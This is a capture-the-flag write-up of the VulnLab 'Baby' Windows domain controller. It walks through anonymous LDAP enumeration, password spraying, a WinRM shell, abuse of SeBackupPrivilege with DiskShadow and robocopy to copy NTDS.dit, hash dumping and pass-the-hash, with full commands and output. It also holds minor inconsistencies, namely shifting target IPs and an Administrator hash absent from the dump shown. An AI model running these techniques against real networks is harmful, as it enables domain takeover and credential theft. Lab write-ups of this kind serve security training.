# Baby (VulnLab) - Complete Writeup
> Complete writeup of the Baby machine on VulnLab. Anonymous LDAP bind exploitation, password spraying, SeBackupPrivilege and NTDS.dit extraction.
Published on 2026-04-03 | Updated on 2026-07-20 | Tags: active-directory, ldap, privesc, pass-the-hash, vulnlab
https://xsec.fr/en/ctf/writeup-baby/
---
import Callout from '@shared/components/Callout.astro'
import { Steps, Step } from '@/components/ui/steps'
| Info | Value |
|------|--------|
| **Name** | Baby |
| **Platform** | VulnLab / HackTheBox |
| **OS** | Windows Server 2022 Build 20348 |
| **Domain** | baby.vl |
| **DC** | BABYDC.baby.vl |
| **Difficulty** | Easy |
| **Target IP** | 10.129.234.71 |
---
## 1. Reconnaissance
### 1.1 Port scan
The first step of any pentest is to discover which services are running on the target. We use `nmap` with a full scan of all ports (`-p-`) and disable host discovery (`-Pn`) since we already know the target is online.
```bash
nmap -p- -Pn --min-rate 1000 10.129.14.67
```
```bash {2-3} {6} {13-14} "domain" "kerberos-sec" "ldap" "microsoft-ds" "wsman"
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
[...]
```
This port profile is characteristic of a Windows **Active Directory Domain Controller**:
- **53** (DNS) + **88** (Kerberos) + **389/636** (LDAP/LDAPS) = AD required
- **445** (SMB) = file shares and administration
- **3268/3269** = Global Catalog (multi-domain)
- **5985** (WinRM) = remote PowerShell administration -> **potential access vector**
- **3389** (RDP) = remote desktop
### 1.2 Detailed service scan
We run a more aggressive scan with `-A`, which enables OS detection, service version detection, NSE script execution, and traceroute. The `-vv` flag increases verbosity to gather as much detail as possible.
```bash
nmap -p- -Pn 10.129.14.67 -A -vv
```
Key information extracted:
- **OS**: Windows Server 2022 Build 20348
- **Machine name**: BABYDC
- **Domain**: baby.vl
- **FQDN**: BabyDC.baby.vl
- **SMB signing**: enabled and required
- **WinRM** (5985): open
### 1.3 Environment setup
Before going further, we configure our environment to resolve the domain name:
```bash
# /etc/hosts
echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" >> /etc/hosts
# Environment variable
export DC_IP=10.129.234.71
```
---
## 2. LDAP enumeration - Anonymous bind
### 2.1 Testing anonymous authentication
We test whether the LDAP server accepts anonymous connections (without credentials). This is a **common misconfiguration** on DCs.
We use **NetExec** (`nxc`) to test the anonymous LDAP bind. The `-u '' -p ''` parameters send an empty username and password to attempt an anonymous connection.
```bash "[+]" "baby.vl"
$ nxc ldap 10.129.14.67 -u '' -p ''
LDAP 10.129.14.67 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.14.67 389 BABYDC [+] baby.vl\:
```
The `[+]` confirms that the anonymous LDAP bind is allowed. This is a configuration flaw: anyone on the network can query the Active Directory directory without any credentials.
### 2.2 Enumerating domain users
The `--users` flag asks NetExec to enumerate all domain user accounts via LDAP, showing their names, password change dates, bad password counter, and description.
```txt {12} "Set initial password to BabyStart123!"
$ nxc ldap 10.129.14.67 -u '' -p '' --users
LDAP 10.129.14.67 389 BABYDC [*] Enumerated 9 domain users: baby.vl
LDAP 10.129.14.67 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.14.67 389 BABYDC Guest 0 Built-in account for guest access to the computer/domain
LDAP 10.129.14.67 389 BABYDC Jacqueline.Barnett 2021-11-21 16:11:03 0
LDAP 10.129.14.67 389 BABYDC Ashley.Webb 2021-11-21 16:11:03 0
LDAP 10.129.14.67 389 BABYDC Hugh.George 2021-11-21 16:11:03 0
LDAP 10.129.14.67 389 BABYDC Leonard.Dyer 2021-11-21 16:11:03 0
LDAP 10.129.14.67 389 BABYDC Connor.Wilkinson 2021-11-21 16:11:08 0
LDAP 10.129.14.67 389 BABYDC Joseph.Hughes 2021-11-21 16:11:08 0
LDAP 10.129.14.67 389 BABYDC Kerry.Wilson 2021-11-21 16:11:08 0
LDAP 10.129.14.67 389 BABYDC Teresa.Bell 2021-11-21 16:14:37 0 Set initial password to BabyStart123!
```
---
## 3. Discovering a password in an LDAP description
Look carefully at the **Description** column of `Teresa.Bell`:
`Set initial password to BabyStart123!`
This is a classic administration mistake: an administrator wrote a user's initial password in the `description` field of their LDAP object, visible to everyone. It is an extremely common attack vector in real AD environments.
### 3.1 Full LDAP enumeration to find all users
The `nxc` tool only returned 9 users. We use `ldapsearch` for a more exhaustive enumeration:
`ldapsearch` is a command-line LDAP client. Here:
- `-x`: simple authentication (not SASL)
- `-b "dc=baby,dc=vl"`: search base (the domain root)
- `"*"`: retrieve every attribute of each object
- `-H ldap://BabyDC.baby.vl`: URI of the target LDAP server
- `| grep dn`: we filter the output to keep only the Distinguished Names (DN), the unique identifier of each object in the directory
```txt {11} {17} "Ian Walker" "Caroline Robinson"
$ ldapsearch -x -b "dc=baby,dc=vl" "*" -H ldap://BabyDC.baby.vl | grep dn
dn: DC=baby,DC=vl
dn: CN=Administrator,CN=Users,DC=baby,DC=vl
dn: CN=Guest,CN=Users,DC=baby,DC=vl
dn: CN=krbtgt,CN=Users,DC=baby,DC=vl
dn: CN=dev,CN=Users,DC=baby,DC=vl
dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
```
We discover 2 additional users that `nxc` did not return: **Ian.Walker** (OU=dev) and **Caroline.Robinson** (OU=it). It is crucial to cross-reference the results of several enumeration tools.
Organizational structure of the domain:
- **OU=dev**: Jacqueline.Barnett, Ashley.Webb, Hugh.George, Leonard.Dyer, Ian.Walker
- **OU=it**: Connor.Wilkinson, Joseph.Hughes, Kerry.Wilson, Teresa.Bell, **Caroline.Robinson**
---
## 4. Password Spraying and STATUS_PASSWORD_MUST_CHANGE
### 4.1 Building the user list
```txt
$ cat users
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Ian.Walker
Kerry.Wilson
Teresa.Bell
Caroline.Robinson
```
### 4.2 Password spray with the discovered password
We try the password `BabyStart123!` (found in the LDAP description) against **all** the domain accounts. This is **password spraying**: a single password tested against multiple accounts. The `-u users` parameter takes a file containing one username per line, and `-p` the password to test on each of them.
```txt {12} "STATUS_PASSWORD_MUST_CHANGE" "Caroline.Robinson"
$ nxc ldap 10.129.14.67 -u users -p 'BabyStart123!'
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Guest:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Hugh.George:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Ian.Walker:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123!
LDAP 10.129.14.67 389 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
```
The `Caroline.Robinson` account returns `STATUS_PASSWORD_MUST_CHANGE`. This means that:
1. **The password `BabyStart123!` is indeed valid** for this account
2. But the account is in a "must change password at next logon" state
3. We first need to **change the password** before we can authenticate normally
---
## 5. Remote password change
### 5.1 Attempts and errors
Several methods were tested:
`smbpasswd` is the native GNU/Linux tool to change an SMB password. `-U BABY/Caroline.Robinson` specifies the target account (domain/user) and `-r baby.vl` indicates the remote machine on which to perform the change.
```txt "STATUS_PASSWORD_RESTRICTION"
$ smbpasswd -U BABY/Caroline.Robinson -r baby.vl
Old SMB password:
New SMB password:
Retype new SMB password:
machine baby.vl rejected the password change: STATUS_PASSWORD_RESTRICTION
```
The proposed password did not comply with the domain's complexity policy.
We use NetExec's `-M change-password` module over SMB. The `-o NEWPASS='BabyAnd123!'` option passes the new password to the module. NetExec automatically handles the MS-SAMR protocol to perform the change remotely.
```txt {3} "[+] Successfully changed password"
$ nxc smb baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS='BabyAnd123!'
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P... 10.129.234.71 445 BABYDC [+] Successfully changed password for Caroline.Robinson
```
The password was changed successfully. The new password `BabyAnd123!` complies with the complexity policy (uppercase, lowercase, digit, special character, sufficient length).
### 5.2 Verifying access
We verify that the new credentials work across the different protocols. NetExec tests LDAP (port 389) and WinRM (port 5985). The `(admin)` marker means the user has administrative rights on the target.
```txt "(admin)"
$ nxc ldap baby.vl -u Caroline.Robinson -p 'BabyAnd123!'
LDAP 10.129.234.71 389 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin)
$ nxc winrm baby.vl -u Caroline.Robinson -p 'BabyAnd123!'
WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\Caroline.Robinson:BabyAnd123! (admin)
```
Caroline.Robinson has WinRM access and is marked `(admin)`. This is our way into the machine.
---
## 6. Initial access - WinRM (User Flag)
### 6.1 Connecting via Evil-WinRM
`evil-winrm-py` is a WinRM (Windows Remote Management) client that provides an interactive remote PowerShell shell. `--ip` specifies the target and `--user` the account to use. The password is prompted interactively.
```txt
$ evil-winrm-py --ip baby.vl --user Caroline.Robinson
Password: BabyAnd123!
[*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson'
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents>
```
### 6.2 Retrieving the user flag
```powershell "6ce35506b416e040865255ad1168147d"
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
6ce35506b416e040865255ad1168147d
```
### 6.3 Enumerating privileges
The `whoami /priv` command displays the Windows privileges associated with the current user's token. These privileges determine which special operations the account can perform on the system.
```txt {7-8} "SeBackupPrivilege" "SeRestorePrivilege"
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```
This privilege allows you to **read any file on the system**, including files that are normally protected such as `NTDS.dit` (the Active Directory database containing all the domain password hashes).
It is the **most dangerous privilege** on a DC because it gives a direct path to full domain compromise.
---
## 7. Privilege Escalation - Abusing SeBackupPrivilege
### 7.1 First attempt: Extracting the SAM/SYSTEM hives
The simplest method is to extract the Windows registry hives. The `reg save` command exports a registry branch to a file. `hklm\sam` contains the local account hashes, and `hklm\system` contains the encryption key (bootkey) needed to decrypt them.
```powershell "reg save hklm\\sam" "reg save hklm\\system"
evil-winrm-py PS C:\> mkdir Temp
evil-winrm-py PS C:\> reg save hklm\sam C:\Temp\sam
The operation completed successfully.
evil-winrm-py PS C:\> reg save hklm\system C:\Temp\system
The operation completed successfully.
```
```powershell
evil-winrm-py PS C:\Temp> download sam .
[+] File downloaded successfully and saved as: /workspace/sam
evil-winrm-py PS C:\Temp> download system .
[+] File downloaded successfully and saved as: /workspace/system
```
`secretsdump` (Impacket) extracts password hashes from the Windows registry files. `-sam sam` and `-system system` point to the downloaded files. `LOCAL` indicates that we are working on local files (no network connection).
```txt {5} "8d992faed38128ae85e95fa35868bb43"
$ secretsdump -sam sam -system system LOCAL
Impacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
```
We try a **Pass-the-Hash** with NetExec: the `-H` flag allows authenticating with the NT hash instead of the cleartext password.
```txt "STATUS_LOGON_FAILURE"
$ nxc smb 10.129.234.71 -u Administrator -H 8d992faed38128ae85e95fa35868bb43
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Administrator:8d992faed38128ae85e95fa35868bb43 STATUS_LOGON_FAILURE
```
The hash `8d992faed38128ae85e95fa35868bb43` is the **local** hash of the Administrator account. On a DC, the local Administrator account and the domain Administrator account **are the same**, but this SAM hash does not always work for authenticating remotely.
The SAM hash does not work. We need to extract the hash from **NTDS.dit**, the real Active Directory database.
These manual steps (reg save, download, secretsdump) can be automated into a single command via NetExec's `backup_operator` module:
```bash
nxc smb baby.vl -u Caroline.Robinson -p 'BabyAnd123!' -M backup_operator
```
This module abuses `SeBackupPrivilege` through the RemoteRegistry service to back up the SAM, SYSTEM, and SECURITY hives onto a SYSVOL share, download them automatically, then dump the local hashes.
---
## 8. Extracting NTDS.dit with DiskShadow
### 8.1 Why DiskShadow?
The `C:\Windows\NTDS\ntds.dit` file is constantly locked by the Active Directory process. We cannot copy it directly. The solution is to create a **Volume Shadow Copy (VSS)**, a snapshot of the disk, then copy the file from that snapshot.
**DiskShadow** is a legitimate Windows tool that allows creating shadow copies via a script.
### 8.2 Creation and execution
```txt "clientaccessible" "persistent" "create" "expose"
$ cat bck.txt
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
```
- `set metadata`: Location of the temporary metadata file
- `set context clientaccessible`: The shadow copy will be accessible by clients (not only backups)
- `set context persistent`: The shadow copy persists after DiskShadow exits
- `begin backup` / `end backup`: Delimit the backup block
- `add volume C:`: We add the C: volume to the backup
- `create`: Actual creation of the shadow copy
- `expose %cdrive% E:`: The shadow copy is mounted as drive **E:**
We upload the script to the target then run it with `diskshadow /s` (script mode, non-interactive).
```powershell
evil-winrm-py PS C:\Temp> upload bck.txt
evil-winrm-py PS C:\Temp> diskshadow /s bck.txt
```
The shadow copy is created and exposed on `E:\`. We use `robocopy` with the `/b` flag (backup mode) which leverages `SeBackupPrivilege` to bypass the ACLs and copy the locked file.
```txt "ntds.dit" {14} "/b"
evil-winrm-py PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Source : E:\Windows\ntds\
Dest : C:\Temp\
Files : ntds.dit
New File 16.0 m ntds.dit
100%
-------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 0 1 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
```
We exfiltrate the file to our machine, then delete the shadow copy to clean up the traces.
```powershell
evil-winrm-py PS C:\Temp> download ntds.dit .
[+] File downloaded successfully and saved as: /workspace/ntds.dit
evil-winrm-py PS C:\Temp> unexpose E:
evil-winrm-py PS C:\Temp> delete shadows volume E:
```
---
## 9. Dumping the domain secrets
We add `-ntds ntds.dit` to ask `secretsdump` to also parse the NTDS database in addition to the SAM/SYSTEM hives.
```txt {3}
$ secretsdump -sam sam -system system -ntds ntds.dit LOCAL
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
```
Impacket's `secretsdump` only parses the SAM hashes here and does not dump the NTDS hashes. This can happen with certain versions or if the NTDS file is in an unsupported format.
We use `gosecretsdump`, a Go reimplementation of secretsdump, which handles certain NTDS formats better. `-ntds` points to the NTDS.dit file and `-system` to the SYSTEM hive (needed to decrypt the hashes).
```txt {2-3} "krbtgt" "BABYDC$"
$ gosecretsdump -ntds ntds.dit -system system
BABYDC$:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:9f4041fd26048254f14550f776deabb6:::
```
We now have the NTLM hashes of **all the domain users**, including the machine account hash `BABYDC$` and the `krbtgt` account (used to sign Kerberos tickets).
The domain Administrator hash does not appear directly in this output with the `Administrator:500:...` format. The hash used for the final pass-the-hash was `ee4457ae59f1e3fbd764e33d9cef123d`.
---
## 10. Administrator access - Pass-the-Hash (Root Flag)
### 10.1 Connecting as Administrator
With the domain administrator's NT hash extracted from NTDS.dit, we use the **Pass-the-Hash** (PtH) technique to log in without knowing the cleartext password. Evil-winrm's `-H` flag directly accepts an NT hash in place of the password.
```txt "-H ee4457ae59f1e3fbd764e33d9cef123d"
$ evil-winrm-py --ip baby.vl --user Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
[*] Connecting to 'baby.vl:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
```
### 10.2 Retrieving the root flag
```powershell {9} "66d724739e14a060792921068c899a3c" "root.txt"
evil-winrm-py PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/3/2026 2:54 PM 34 root.txt
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
66d724739e14a060792921068c899a3c
```
---
## Attack summary (Kill Chain)
```mermaid
graph LR
subgraph Reconnaissance
A["nmap -p- -Pn\\n21 open ports\\nWindows Server 2022"] --> B["nxc ldap -u '' -p ''\\nAnonymous bind allowed"]
B --> C["nxc ldap --users\\n9 users enumerated"]
C --> D["ldapsearch\\n2 additional users\\nIan.Walker, Caroline.Robinson"]
end
subgraph Information Disclosure
D --> E["Teresa.Bell LDAP description\\nSet initial password to BabyStart123!"]
end
subgraph Credential Access
E --> F["Password Spraying\\nnxc ldap -u users -p BabyStart123!\\n10 failures, 1 hit"]
F --> G["Caroline.Robinson\\nSTATUS_PASSWORD_MUST_CHANGE\\nValid password"]
G --> H["nxc smb -M change-password\\nBabyStart123! then BabyAnd123!"]
end
subgraph Initial Access
H --> I["nxc winrm = admin\\nCaroline.Robinson:BabyAnd123!"]
I --> J["evil-winrm-py\\nShell on BABYDC:5985"]
J --> K["cat user.txt\\n6ce35506b416e040865255ad1168147d"]
end
subgraph Privilege Escalation
J --> L["whoami /priv\\nSeBackupPrivilege\\nSeRestorePrivilege"]
L --> M["reg save hklm sam/system\\nDump local SAM"]
M --> N["secretsdump -sam -system LOCAL\\nAdmin hash: 8d992fa...\\nSTATUS_LOGON_FAILURE"]
N --> O["DiskShadow /s bck.txt\\nCreate Volume Shadow Copy\\nExpose on E:"]
O --> P["robocopy /b E:\\Windows\\ntds .\\nCopy ntds.dit via\\nSeBackupPrivilege"]
P --> Q["download ntds.dit\\n16 MB exfiltrated"]
end
subgraph Domain Compromise
Q --> R["gosecretsdump\\n-ntds ntds.dit -system system\\nDump all hashes"]
R --> S["Pass-the-Hash\\nevil-winrm -H ee4457ae...\\nAdministrator@BABYDC"]
S --> T["cat root.txt\\n66d724739e14a060792921068c899a3c"]
end
```
---
## Flags
| Flag | Value |
|------|--------|
| **User** | `6ce35506b416e040865255ad1168147d` |
| **Root** | `66d724739e14a060792921068c899a3c` |
---
## Tools used
| Tool | Usage |
|-------|--------|
| **nmap** | Port scanning and service detection |
| **NetExec (nxc)** | LDAP/SMB enumeration, password spraying, password change, post-exploitation modules |
| **ldapsearch** | Raw LDAP enumeration to list all DNs |
| **evil-winrm-py** | Remote PowerShell shell via WinRM |
| **DiskShadow** | Volume Shadow Copy creation (native Windows tool) |
| **robocopy /b** | File copy in backup mode (leverages SeBackupPrivilege) |
| **secretsdump** | Hash extraction from SAM/SYSTEM |
| **gosecretsdump** | Hash extraction from NTDS.dit + SYSTEM |
---
## Lessons learned / Key takeaways
1. **Never store passwords in LDAP attributes** (description, info, comment). They are readable by every authenticated user, and sometimes even anonymously.
2. **Disable the anonymous LDAP bind** on domain controllers. There is no legitimate reason in 99% of cases.
3. **`SeBackupPrivilege`** on a DC = game over. This privilege should only be granted to dedicated backup service accounts, never to users.
1. **The `STATUS_PASSWORD_MUST_CHANGE` status** confirms that the password is valid. It is an attack signal not to be ignored.
2. **DiskShadow + robocopy /b** is a native Windows technique (Living off the Land) that requires no external tool. It is stealthier than the classic tools.
3. **The local SAM hash and the NTDS hash can differ.** Always extract NTDS.dit to obtain reliable hashes on a DC.
4. **When `secretsdump` does not work**, try `gosecretsdump` as an alternative for NTDS parsing.
---
## Demo